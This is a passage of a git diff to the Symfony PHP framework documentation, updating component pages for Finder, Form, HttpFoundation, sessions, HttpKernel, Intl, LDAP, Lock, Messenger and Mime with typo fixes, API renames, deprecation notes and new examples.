+    starting from the directory used to search files/directories. To be consistent
+    with Git behavior, you should explicitly search from the Git repository root.
+
+.. versionadded:: 5.4
+
+    Recursive support for ``.gitignore`` files was introduced in Symfony 5.4.
+
 File Name
 ~~~~~~~~~
 
@@ -210,7 +223,7 @@ Use the forward slash (i.e. ``/``) as the directory separator on all platforms,
 including Windows. The component makes the necessary conversion internally.
 
 The ``path()`` method accepts a string, a regular expression or an array of
-strings or regulars expressions::
+strings or regular expressions::
 
     $finder->path('foo/bar');
     $finder->path('/^foo\/bar/');
@@ -293,6 +306,7 @@ Directory Depth
 By default, the Finder recursively traverses directories. Restrict the depth of
 traversing with :method:`Symfony\\Component\\Finder\\Finder::depth`::
 
+    // this will only consider files/directories which are direct children
     $finder->depth('== 0');
     $finder->depth('< 3');
 
diff --git a/components/form.rst b/components/form.rst
index 7ac59478ceb..64551b72041 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -121,16 +121,17 @@ The following snippet adds CSRF protection to the form factory::
 
     use Symfony\Component\Form\Extension\Csrf\CsrfExtension;
     use Symfony\Component\Form\Forms;
-    use Symfony\Component\HttpFoundation\Session\Session;
+    use Symfony\Component\HttpFoundation\RequestStack;
     use Symfony\Component\Security\Csrf\CsrfTokenManager;
     use Symfony\Component\Security\Csrf\TokenGenerator\UriSafeTokenGenerator;
     use Symfony\Component\Security\Csrf\TokenStorage\SessionTokenStorage;
 
-    // creates a Session object from the HttpFoundation component
-    $session = new Session();
+    // creates a RequestStack object using the current request
+    $requestStack = new RequestStack();
+    $requestStack->push($request);
 
     $csrfGenerator = new UriSafeTokenGenerator();
-    $csrfStorage = new SessionTokenStorage($session);
+    $csrfStorage = new SessionTokenStorage($requestStack);
     $csrfManager = new CsrfTokenManager($csrfGenerator, $csrfStorage);
 
     $formFactory = Forms::createFormFactoryBuilder()
@@ -646,6 +647,12 @@ method:
             }
         }
 
+.. caution::
+
+    The form's ``createView()`` method should be called *after* ``handleRequest()`` is
+    called. Otherwise, when using :doc:`form events </form/events>`, changes done
+    in the ``*_SUBMIT`` events won't be applied to the view (like validation errors).
+
 This defines a common form "workflow", which contains 3 different possibilities:
 
 1) On the initial GET request (i.e. when the user "surfs" to your page),
@@ -686,7 +693,7 @@ option when building each field:
                 'constraints' => [
                     new NotBlank(),
                     new Type(\DateTime::class),
-                ]
+                ],
             ])
             ->getForm();
 
@@ -713,7 +720,7 @@ option when building each field:
                         'constraints' => [
                             new NotBlank(),
                             new Type(\DateTime::class),
-                        ]
+                        ],
                     ])
                     ->getForm();
                 // ...
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 23d8e9a6809..344b88d6e99 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -163,20 +163,25 @@ exist::
     // returns 'baz'
 
 When PHP imports the request query, it handles request parameters like
-``foo[bar]=baz`` in a special way as it creates an array. So you can get the
-``foo`` parameter and you will get back an array with a ``bar`` element::
+``foo[bar]=baz`` in a special way as it creates an array. The ``get()`` method
+doesn't support returning arrays, so you need to use the following code::
 
     // the query string is '?foo[bar]=baz'
 
-    $request->query->get('foo');
+    // don't use $request->query->get('foo'); use the following instead:
+    $request->query->all()['foo'];
     // returns ['bar' => 'baz']
 
     $request->query->get('foo[bar]');
     // returns null
 
-    $request->query->get('foo')['bar'];
+    $request->query->all()['foo']['bar'];
     // returns 'baz'
 
+.. deprecated:: 5.1
+
+    The array support in ``get()`` method was deprecated in Symfony 5.1.
+
 .. _component-foundation-attributes:
 
 Thanks to the public ``attributes`` property, you can store additional data
@@ -190,7 +195,7 @@ Finally, the raw data sent with the request body can be accessed using
 
     $content = $request->getContent();
 
-For instance, this may be useful to process a XML string sent to the
+For instance, this may be useful to process an XML string sent to the
 application by a remote service using the HTTP POST method.
 
 If the request body is a JSON string, it can be accessed using
@@ -247,9 +252,9 @@ Accessing the Session
 ~~~~~~~~~~~~~~~~~~~~~
 
 If you have a session attached to the request, you can access it via the
-:method:`Symfony\\Component\\HttpFoundation\\Request::getSession` method;
-the
-:method:`Symfony\\Component\\HttpFoundation\\Request::hasPreviousSession`
+``getSession()`` method of the :class:`Symfony\\Component\\HttpFoundation\\Request`
+or :class:`Symfony\\Component\\HttpFoundation\\RequestStack` class;
+the :method:`Symfony\\Component\\HttpFoundation\\Request::hasPreviousSession`
 method tells you if the request contains a session which was started in one of
 the previous requests.
 
@@ -346,11 +351,11 @@ analysis purposes. Use the ``anonymize()`` method from the
     use Symfony\Component\HttpFoundation\IpUtils;
 
     $ipv4 = '123.234.235.236';
-    $anonymousIpv4 = IPUtils::anonymize($ipv4);
+    $anonymousIpv4 = IpUtils::anonymize($ipv4);
     // $anonymousIpv4 = '123.234.235.0'
 
     $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f';
-    $anonymousIpv6 = IPUtils::anonymize($ipv6);
+    $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
 Accessing other Data
@@ -519,7 +524,7 @@ call::
         's_maxage'         => 600,
         'immutable'        => true,
         'last_modified'    => new \DateTime(),
-        'etag'             => 'abcdef'
+        'etag'             => 'abcdef',
     ]);
 
 .. versionadded:: 5.1
@@ -584,7 +589,7 @@ represented by a PHP callable instead of a string::
     header in the response::
 
         // disables FastCGI buffering in nginx only for this response
-        $response->headers->set('X-Accel-Buffering', 'no')
+        $response->headers->set('X-Accel-Buffering', 'no');
 
 .. _component-http-foundation-serving-files:
 
@@ -670,7 +675,7 @@ handling, switching to chunked encoding instead::
     use Symfony\Component\HttpFoundation\BinaryFileResponse;
     use Symfony\Component\HttpFoundation\File\Stream;
 
-    $stream  = new Stream('path/to/stream');
+    $stream = new Stream('path/to/stream');
     $response = new BinaryFileResponse($stream);
 
 .. note::
@@ -705,9 +710,11 @@ class, which can make this even easier::
     // if you know the data to send when creating the response
     $response = new JsonResponse(['data' => 123]);
 
-    // if you don't know the data to send when creating the response
+    // if you don't know the data to send or if you want to customize the encoding options
     $response = new JsonResponse();
     // ...
+    // configure any custom encoding options (if needed, it must be called before "setData()")
+    //$response->setEncodingOptions(JsonResponse::DEFAULT_ENCODING_OPTIONS | \JSON_PRESERVE_ZERO_FRACTION);
     $response->setData(['data' => 123]);
 
     // if the data to send is already encoded in JSON
@@ -776,6 +783,43 @@ The following example shows how to detect if the user agent prefers "safe" conte
         $response->setContentSafe();
 
         return $response;
+
+Generating Relative and Absolute URLs
+-------------------------------------
+
+.. versionadded:: 5.4
+
+    The feature to generate relative and absolute URLs was introduced in Symfony 5.4.
+
+Generating absolute and relative URLs for a given path is a common need
+in some applications. In Twig templates you can use the
+:ref:`absolute_url() <reference-twig-function-absolute-url>` and
+:ref:`relative_path() <reference-twig-function-relative-path>` functions to do that.
+
+The :class:`Symfony\\Component\\HttpFoundation\\UrlHelper` class provides the
+same functionality for PHP code via the ``getAbsoluteUrl()`` and ``getRelativePath()``
+methods. You can inject this as a service anywhere in your application::
+
+    // src/Normalizer/UserApiNormalizer.php
+    namespace App\Normalizer;
+
+    use Symfony\Component\HttpFoundation\UrlHelper;
+
+    class UserApiNormalizer
+    {
+        private UrlHelper $urlHelper;
+
+        public function __construct(UrlHelper $urlHelper)
+        {
+            $this->urlHelper = $urlHelper;
+        }
+
+        public function normalize($user)
+        {
+            return [
+                'avatar' => $this->urlHelper->getAbsoluteUrl($user->avatar()->path()),
+            ];
+        }
     }
 
 Learn More
diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst
index c8b29fb00b4..41aacae0e46 100644
--- a/components/http_foundation/session_configuration.rst
+++ b/components/http_foundation/session_configuration.rst
@@ -29,7 +29,7 @@ All native save handlers are internal to PHP and as such, have no public facing
 They must be configured by ``php.ini`` directives, usually ``session.save_path`` and
 potentially other driver specific directives. Specific details can be found in
 the docblock of the ``setOptions()`` method of each class. For instance, the one
-provided by the Memcached extension can be found on :phpmethod:`php.net <Memcached::setOption>`.
+provided by the Memcached extension can be found on :phpmethod:`php.net <Memcached::setOptions>`.
 
 While native save handlers can be activated by directly using
 ``ini_set('session.save_handler', $name);``, Symfony provides a convenient way to
@@ -154,28 +154,54 @@ Configuring Garbage Collection
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 When a session opens, PHP will call the ``gc`` handler randomly according to the
-probability set by ``session.gc_probability`` / ``session.gc_divisor``. For
-example if these were set to ``5/100`` respectively, it would mean a probability
-of 5%. Similarly, ``3/4`` would mean a 3 in 4 chance of being called, i.e. 75%.
+probability set by ``session.gc_probability`` / ``session.gc_divisor`` in ``php.ini``.
+For example if these were set to ``5/100``, it would mean a probability of 5%.
 
-If the garbage collection handler is invoked, PHP will pass the value stored in
-the ``php.ini`` directive ``session.gc_maxlifetime``. The meaning in this context is
-that any stored session that was saved more than ``gc_maxlifetime`` ago should be
-deleted. This allows one to expire records based on idle time.
+If the garbage collection handler is invoked, PHP will pass the value of
+``session.gc_maxlifetime``, meaning that any stored session that was saved more
+than ``gc_maxlifetime`` seconds ago should be deleted. This allows to expire records
+based on idle time.
 
 However, some operating systems (e.g. Debian) do their own session handling and set
-the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage
+the ``session.gc_probability`` directive to ``0`` to stop PHP doing garbage
 collection. That's why Symfony now overwrites this value to ``1``.
 
 If you wish to use the original value set in your ``php.ini``, add the following
 configuration:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/framework.yaml
-    framework:
-        session:
-            gc_probability: null
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                gc_probability: null
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:session gc_probability="null"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'session' => [
+                'gc_probability' => null,
+            ],
+        ]);
 
 You can configure these settings by passing ``gc_probability``, ``gc_divisor``
 and ``gc_maxlifetime`` in an array to the constructor of
diff --git a/components/http_foundation/sessions.rst b/components/http_foundation/sessions.rst
index 9c9479e3e5e..5756a38fc58 100644
--- a/components/http_foundation/sessions.rst
+++ b/components/http_foundation/sessions.rst
@@ -169,6 +169,11 @@ and "Remember Me" login settings or other user based state information.
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
     This implementation allows for attributes to be stored in a structured namespace.
 
+    .. deprecated:: 5.3
+
+        The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
+        If you need this feature, you will have to implement the class yourself.
+
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface`
 has the API
 
@@ -237,6 +242,11 @@ So any processing of this might quickly get ugly, even adding a token to the arr
     $tokens['c'] = $value;
     $session->set('tokens', $tokens);
 
+.. deprecated:: 5.3
+
+    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
+    If you need this feature, you will have to implement the class yourself.
+
 With structured namespacing, the key can be translated to the array
 structure like this using a namespace character (which defaults to ``/``)::
 
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index c0da0fd6cfa..7689609925b 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -65,7 +65,7 @@ that system::
          */
         public function handle(
             Request $request,
-            int $type = self::MASTER_REQUEST,
+            int $type = self::MAIN_REQUEST,
             bool $catch = true
         );
     }
@@ -498,12 +498,6 @@ as possible to the client (e.g. sending emails).
     Using the ``kernel.terminate`` event is optional, and should only be
     called if your kernel implements :class:`Symfony\\Component\\HttpKernel\\TerminableInterface`.
 
-.. sidebar:: ``kernel.terminate`` in the Symfony Framework
-
-    If you use the :ref:`memory spooling <email-spool-memory>` option of the
-    default Symfony mailer, then the `EmailSenderListener`_ is activated, which
-    actually delivers any emails that you scheduled to send during the request.
-
 .. _component-http-kernel-kernel-exception:
 
 Handling Exceptions: the ``kernel.exception`` Event
@@ -516,7 +510,7 @@ Handling Exceptions: the ``kernel.exception`` Event
 
 If an exception is thrown at any point inside ``HttpKernel::handle()``, another
 event - ``kernel.exception`` is thrown. Internally, the body of the ``handle()``
-function is wrapped in a try-catch block. When any exception is thrown, the
+method is wrapped in a try-catch block. When any exception is thrown, the
 ``kernel.exception`` event is dispatched so that your system can somehow respond
 to the exception.
 
@@ -701,12 +695,12 @@ argument as follows::
 
 This creates another full request-response cycle where this new ``Request`` is
 transformed into a ``Response``. The only difference internally is that some
-listeners (e.g. security) may only act upon the master request. Each listener
+listeners (e.g. security) may only act upon the main request. Each listener
 is passed some sub-class of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`,
-whose :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMasterRequest`
-can be used to check if the current request is a "master" or "sub" request.
+whose :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMainRequest`
+can be used to check if the current request is a "main" or "sub" request.
 
-For example, a listener that only needs to act on the master request may
+For example, a listener that only needs to act on the main request may
 look like this::
 
     use Symfony\Component\HttpKernel\Event\RequestEvent;
@@ -714,7 +708,7 @@ look like this::
 
     public function onKernelRequest(RequestEvent $event)
     {
-        if (!$event->isMasterRequest()) {
+        if (!$event->isMainRequest()) {
             return;
         }
 
@@ -758,5 +752,4 @@ Learn more
 .. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`@Template`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/view.html
-.. _`EmailSenderListener`: https://github.com/symfony/swiftmailer-bundle/blob/master/EventListener/EmailSenderListener.php
 .. _variadic: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
diff --git a/components/index.rst b/components/index.rst
deleted file mode 100644
index bf28bf3b5d8..00000000000
--- a/components/index.rst
+++ /dev/null
@@ -1,16 +0,0 @@
-The Components
-==============
-
-.. seealso::
-
-    See the dedicated `Symfony Components`_ webpage for a full overview of decoupled
-    and reusable Symfony components.
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    using_components
-    *
-
-.. _`Symfony Components`: https://symfony.com/components
diff --git a/components/intl.rst b/components/intl.rst
index cb120034615..6593e305ce9 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -6,12 +6,11 @@ The Intl Component
 ==================
 
     This component provides access to the localization data of the `ICU library`_.
-    It also provides a PHP replacement layer for the C `intl extension`_.
 
 .. caution::
 
     The replacement layer is limited to the ``en`` locale. If you want to use
-    other locales, you should `install the intl extension`_. There is no conflict 
+    other locales, you should `install the intl extension`_. There is no conflict
     between the two because, even if you use the extension, this package can still
     be useful to access the ICU data.
 
@@ -30,30 +29,6 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
-If you install the component via Composer, the following classes and functions
-of the intl extension will be automatically provided if the intl extension is
-not loaded:
-
-* :phpclass:`Collator`
-* :phpclass:`IntlDateFormatter`
-* :phpclass:`Locale`
-* :phpclass:`NumberFormatter`
-* :phpfunction:`intl_error_name`
-* :phpfunction:`intl_is_failure`
-* :phpfunction:`intl_get_error_code`
-* :phpfunction:`intl_get_error_message`
-
-When the intl extension is not available, the following classes are used to
-replace the intl classes:
-
-* :class:`Symfony\\Component\\Intl\\Collator\\Collator`
-* :class:`Symfony\\Component\\Intl\\DateFormatter\\IntlDateFormatter`
-* :class:`Symfony\\Component\\Intl\\Locale\\Locale`
-* :class:`Symfony\\Component\\Intl\\NumberFormatter\\NumberFormatter`
-* :class:`Symfony\\Component\\Intl\\Globals\\IntlGlobals`
-
-Composer automatically exposes these classes in the global namespace.
-
 Accessing ICU Data
 ------------------
 
@@ -69,7 +44,7 @@ Language and Script Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The ``Languages`` class provides access to the name of all languages
-according to the `ISO 639-1 alpha-2`_ list and the `ISO 639-2 alpha-3`_ list::
+according to the `ISO 639-1 alpha-2`_ list and the `ISO 639-2 alpha-3 (2T)`_ list::
 
     use Symfony\Component\Intl\Languages;
 
@@ -110,7 +85,7 @@ to catching the exception, you can also check if a given language code is valid:
 
     $isValidLanguage = Languages::exists($languageCode);
 
-Or if you have a alpha3 language code you want to check::
+Or if you have an alpha3 language code you want to check::
 
     $isValidLanguage = Languages::alpha3CodeExists($alpha3Code);
 
@@ -197,7 +172,7 @@ to catching the exception, you can also check if a given country code is valid::
 
     $isValidCountry = Countries::exists($alpha2Code);
 
-Or if you have a alpha3 country code you want to check::
+Or if you have an alpha3 country code you want to check::
 
     $isValidCountry = Countries::alpha3CodeExists($alpha3Code);
 
@@ -211,9 +186,9 @@ Locales
 ~~~~~~~
 
 A locale is the combination of a language, a region and some parameters that
-define the interface preferences of the user. For example, "Chinese" is the 
-language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified" 
-(script) + "Macau SAR China" (region). The ``Locales`` class provides access to 
+define the interface preferences of the user. For example, "Chinese" is the
+language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified"
+(script) + "Macau SAR China" (region). The ``Locales`` class provides access to
 the name of all locales::
 
     use Symfony\Component\Intl\Locales;
@@ -262,15 +237,45 @@ as some of their information (symbol, fraction digits, etc.)::
     $symbol = Currencies::getSymbol('INR');
     // => '₹'
 
-    $fractionDigits = Currencies::getFractionDigits('INR');
-    // => 2
+The fraction digits methods return the number of decimal digits to display when
+formatting numbers with this currency. Depending on the currency, this value
+can change if the number is used in cash transactions or in other scenarios
+(e.g. accounting)::
+
+    // Indian rupee defines the same value for both
+    $fractionDigits = Currencies::getFractionDigits('INR');         // returns: 2
+    $cashFractionDigits = Currencies::getCashFractionDigits('INR'); // returns: 2
+
+    // Swedish krona defines different values
+    $fractionDigits = Currencies::getFractionDigits('SEK');         // returns: 2
+    $cashFractionDigits = Currencies::getCashFractionDigits('SEK'); // returns: 0
+
+.. versionadded:: 5.3
+
+    The ``getCashFractionDigits()`` method was introduced in Symfony 5.3.
+
+Some currencies require to round numbers to the nearest increment of some value
+(e.g. 5 cents). This increment might be different if numbers are formatted for
+cash transactions or other scenarios (e.g. accounting)::
+
+    // Indian rupee defines the same value for both
+    $roundingIncrement = Currencies::getRoundingIncrement('INR');         // returns: 0
+    $cashRoundingIncrement = Currencies::getCashRoundingIncrement('INR'); // returns: 0
+
+    // Canadian dollar defines different values because they have eliminated
+    // the smaller coins (1-cent and 2-cent) and prices in cash must be rounded to
+    // 5 cents (e.g. if price is 7.42 you pay 7.40; if price is 7.48 you pay 7.50)
+    $roundingIncrement = Currencies::getRoundingIncrement('CAD');         // returns: 0
+    $cashRoundingIncrement = Currencies::getCashRoundingIncrement('CAD'); // returns: 5
+
+.. versionadded:: 5.3
 
-    $roundingIncrement = Currencies::getRoundingIncrement('INR');
-    // => 0
+    The ``getCashRoundingIncrement()`` method was introduced in Symfony 5.3.
 
-All methods (except for ``getFractionDigits()`` and ``getRoundingIncrement()``)
-accept the translation locale as the last, optional parameter, which defaults to
-the current default locale::
+All methods (except for ``getFractionDigits()``, ``getCashFractionDigits()``,
+``getRoundingIncrement()`` and ``getCashRoundingIncrement()``) accept the
+translation locale as the last, optional parameter, which defaults to the
+current default locale::
 
     $currencies = Currencies::getNames('de');
     // => ['AFN' => 'Afghanischer Afghani', 'EGP' => 'Ägyptisches Pfund', ...]
@@ -323,7 +328,7 @@ translate into any locale with the ``getName()`` method shown earlier::
 The reverse lookup is also possible thanks to the ``getCountryCode()`` method,
 which returns the code of the country where the given timezone ID belongs to::
 
-    $countryCode = Timezones::getCountryCode('America/Vancouver')
+    $countryCode = Timezones::getCountryCode('America/Vancouver');
     // => $countryCode = 'CA' (CA = Canada)
 
 The `UTC/GMT time offsets`_ of all timezones are provided by ``getRawOffset()``
@@ -353,8 +358,8 @@ arguments to get the offset at any given point in time::
 The string representation of the GMT offset can vary depending on the locale, so
 you can pass the locale as the third optional argument::
 
-    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'ar')); // $offset = 'غرينتش+01:00'
-    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'dz')); // $offset = 'ཇི་ཨེམ་ཏི་+01:00'
+    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'ar'); // $offset = 'غرينتش+01:00'
+    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'dz'); // $offset = 'ཇི་ཨེམ་ཏི་+01:00'
 
 If the given timezone ID doesn't exist, the methods trigger a
 :class:`Symfony\\Component\\Intl\\Exception\\MissingResourceException`. In addition
@@ -375,7 +380,6 @@ Learn more
     /reference/forms/types/locale
     /reference/forms/types/timezone
 
-.. _intl extension: https://www.php.net/manual/en/book.intl.php
 .. _install the intl extension: https://www.php.net/manual/en/intl.setup.php
 .. _ICU library: http://site.icu-project.org/
 .. _`Unicode ISO 15924 Registry`: https://www.unicode.org/iso15924/iso15924-codes.html
@@ -384,4 +388,4 @@ Learn more
 .. _`UTC/GMT time offsets`: https://en.wikipedia.org/wiki/List_of_UTC_time_offsets
 .. _`daylight saving time (DST)`: https://en.wikipedia.org/wiki/Daylight_saving_time
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
-.. _`ISO 639-2 alpha-3`: https://en.wikipedia.org/wiki/ISO_639-2
+.. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
diff --git a/components/ldap.rst b/components/ldap.rst
index 8e73b077760..08caf52b3e8 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -115,6 +115,10 @@ to the ``LDAP_SCOPE_BASE`` scope of :phpfunction:`ldap_read`) and ``SCOPE_ONE``
 
     $query = $ldap->query('dc=symfony,dc=com', '...', ['scope' => QueryInterface::SCOPE_ONE]);
 
+Use the ``filter`` option to only retrieve some specific attributes:
+
+    $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn', 'mail']);
+
 Creating or Updating Entries
 ----------------------------
 
@@ -139,6 +143,13 @@ delete existing ones::
     $query = $ldap->query('dc=symfony,dc=com', '(&(objectclass=person)(ou=Maintainers))');
     $result = $query->execute();
     $entry = $result[0];
+
+    $phoneNumber = $entry->getAttribute('phoneNumber');
+    $isContractor = $entry->hasAttribute('contractorCompany');
+    // attribute names in getAttribute() and hasAttribute() methods are case-sensitive
+    // pass FALSE as the second method argument to make them case-insensitive
+    $isContractor = $entry->hasAttribute('contractorCompany', false);
+
     $entry->setAttribute('email', ['fabpot@symfony.com']);
     $entryManager->update($entry);
 
@@ -149,6 +160,11 @@ delete existing ones::
     // Removing an existing entry
     $entryManager->remove(new Entry('cn=Test User,dc=symfony,dc=com'));
 
+.. versionadded:: 5.3
+
+    The option to make attribute names case-insensitive in ``getAttribute()``
+    and ``hasAttribute()`` was introduced in Symfony 5.3.
+
 Batch Updating
 ______________
 
diff --git a/components/lock.rst b/components/lock.rst
index 3a92184c85e..a765fa4edc7 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -56,10 +56,11 @@ method can be safely called repeatedly, even if the lock is already acquired.
 
 .. note::
 
-    Unlike other implementations, the Lock Component distinguishes locks
-    instances even when they are created for the same resource. If a lock has
-    to be used by several services, they should share the same ``Lock`` instance
-    returned by the ``LockFactory::createLock`` method.
+    Unlike other implementations, the Lock Component distinguishes lock
+    instances even when they are created for the same resource. It means that for
+    a given scope and resource one lock instance can be acquired multiple times.
+    If a lock has to be used by several services, they should share the same ``Lock``
+    instance returned by the ``LockFactory::createLock`` method.
 
 .. tip::
 
@@ -165,7 +166,7 @@ method, the resource will stay locked until the timeout::
 
 .. tip::
 
-    To avoid letting the lock in a locking state, it's recommended to wrap the
+    To avoid leaving the lock in a locked state, it's recommended to wrap the
     job in a try/catch/finally block to always try to release the expiring lock.
 
 In case of long-running tasks, it's better to start with a not too long TTL and
@@ -203,8 +204,40 @@ to reset the TTL to its original value::
         $lock->refresh(600);
 
 This component also provides two useful methods related to expiring locks:
-``getExpiringDate()`` (which returns ``null`` or a ``\DateTimeImmutable``
-object) and ``isExpired()`` (which returns a boolean).
+``getRemainingLifetime()`` (which returns ``null`` or a ``float``
+as seconds) and ``isExpired()`` (which returns a boolean).
+
+Automatically Releasing The Lock
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Lock are automatically released when their Lock objects are destructed. This is
+an implementation detail that will be important when sharing Locks between
+processes. In the example below, ``pcntl_fork()`` creates two processes and the
+Lock will be released automatically as soon as one process finishes::
+
+    // ...
+    $lock = $factory->createLock('report-generation', 3600);
+    if (!$lock->acquire()) {
+        return;
+    }
+
+    $pid = pcntl_fork();
+    if (-1 === $pid) {
+        // Could not fork
+        exit(1);
+    } elseif ($pid) {
+        // Parent process
+        sleep(30);
+    } else {
+        // Child process
+        echo 'The lock will be released now.';
+        exit(0);
+    }
+    // ...
+
+To disable this behavior, set to ``false`` the third argument of
+``LockFactory::createLock()``. That will make the lock acquired for 3600 seconds
+or until ``Lock::release()`` is called.
 
 Shared Locks
 ------------
@@ -324,7 +357,7 @@ Store                                         Scope   Blocking  Expiring Sharing
 :ref:`MemcachedStore <lock-store-memcached>`  remote  no        yes      no
 :ref:`MongoDbStore <lock-store-mongodb>`      remote  no        yes      no
 :ref:`PdoStore <lock-store-pdo>`              remote  no        yes      no
-:ref:`PostgreSqlStore <lock-store-pgsql>`     remote  yes       yes      yes
+:ref:`PostgreSqlStore <lock-store-pgsql>`     remote  yes       no       yes
 :ref:`RedisStore <lock-store-redis>`          remote  no        yes      yes
 :ref:`SemaphoreStore <lock-store-semaphore>`  local   yes       no       no
 :ref:`ZookeeperStore <lock-store-zookeeper>`  remote  no        no       no
@@ -465,7 +498,8 @@ PostgreSqlStore
 
 The PostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It requires a
 `PDO`_ connection, a `Doctrine DBAL Connection`_, or a
-`Data Source Name (DSN)`_. It supports native blocking, as well as sharing locks.
+`Data Source Name (DSN)`_. It supports native blocking, as well as sharing
+locks::
 
     use Symfony\Component\Lock\Store\PostgreSqlStore;
 
@@ -570,7 +604,7 @@ PHP process is terminated::
 Reliability
 -----------
 
-The component guarantees that the same resource can't be lock twice as long as
+The component guarantees that the same resource can't be locked twice as long as
 the component is used in the following way.
 
 Remote Stores
@@ -584,12 +618,7 @@ Remote stores (:ref:`MemcachedStore <lock-store-memcached>`,
 :ref:`ZookeeperStore <lock-store-zookeeper>`) use a unique token to recognize
 the true owner of the lock. This token is stored in the
 :class:`Symfony\\Component\\Lock\\Key` object and is used internally by
-the ``Lock``, therefore this key must not be shared between processes (session,
-caching, fork, ...).
-
-.. caution::
-
-    Do not share a key between processes.
+the ``Lock``.
 
 Every concurrent process must store the ``Lock`` in the same server. Otherwise two
 different machines may allow two different processes to acquire the same ``Lock``.
@@ -739,7 +768,7 @@ Such an index can be created manually:
 
 .. code-block:: javascript
 
-    db.lock.ensureIndex(
+    db.lock.createIndex(
         { "expires_at": 1 },
         { "expireAfterSeconds": 0 }
     )
@@ -761,9 +790,10 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB.
     locks don't expire prematurely; the lock TTL should be set with enough extra
     time in ``expireAfterSeconds`` to account for any clock drift between nodes.
 
-``writeConcern``, ``readConcern`` and ``readPreference`` are not specified by
-MongoDbStore meaning the collection's settings will take effect. Read more
-about `Replica Set Read and Write Semantics`_ in MongoDB.
+``writeConcern`` and ``readConcern`` are not specified by MongoDbStore meaning
+the collection's settings will take effect.
+``readPreference`` is ``primary`` for all queries.
+Read more about `Replica Set Read and Write Semantics`_ in MongoDB.
 
 PdoStore
 ~~~~~~~~~~
@@ -862,7 +892,7 @@ can be two running containers in parallel.
 .. caution::
 
     All concurrent processes must use the same machine. Before starting a
-    concurrent process on a new machine, check that other process are stopped
+    concurrent process on a new machine, check that other processes are stopped
     on the old one.
 
 .. caution::
diff --git a/components/messenger.rst b/components/messenger.rst
index 7d03b9488e3..7e1af990db1 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -56,7 +56,7 @@ Concepts
    which means they can tweak the envelope, by adding stamps to it or even
    replacing it, as well as interrupt the middleware chain. Middleware are called
    both when a message is originally dispatched and again later when a message
-   is received from a transport,
+   is received from a transport.
 
 **Envelope**:
    Messenger specific concept, it gives full flexibility inside the message bus,
diff --git a/components/mime.rst b/components/mime.rst
index 0ceb3007bc5..e3a2e2e456a 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -238,10 +238,10 @@ MIME types and file name extensions::
     $exts = $mimeTypes->getExtensions('image/jpeg');
     // $exts = ['jpeg', 'jpg', 'jpe']
 
-    $mimeTypes = $mimeTypes->getMimeTypes('js');
-    // $mimeTypes = ['application/javascript', 'application/x-javascript', 'text/javascript']
-    $mimeTypes = $mimeTypes->getMimeTypes('apk');
-    // $mimeTypes = ['application/vnd.android.package-archive']
+    $types = $mimeTypes->getMimeTypes('js');
+    // $types = ['application/javascript', 'application/x-javascript', 'text/javascript']
+    $types = $mimeTypes->getMimeTypes('apk');
+    // $types = ['application/vnd.android.package-archive']
 
 These methods return arrays with one or more elements. The element position
 indicates its priority, so the first returned extension is the preferred one.
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
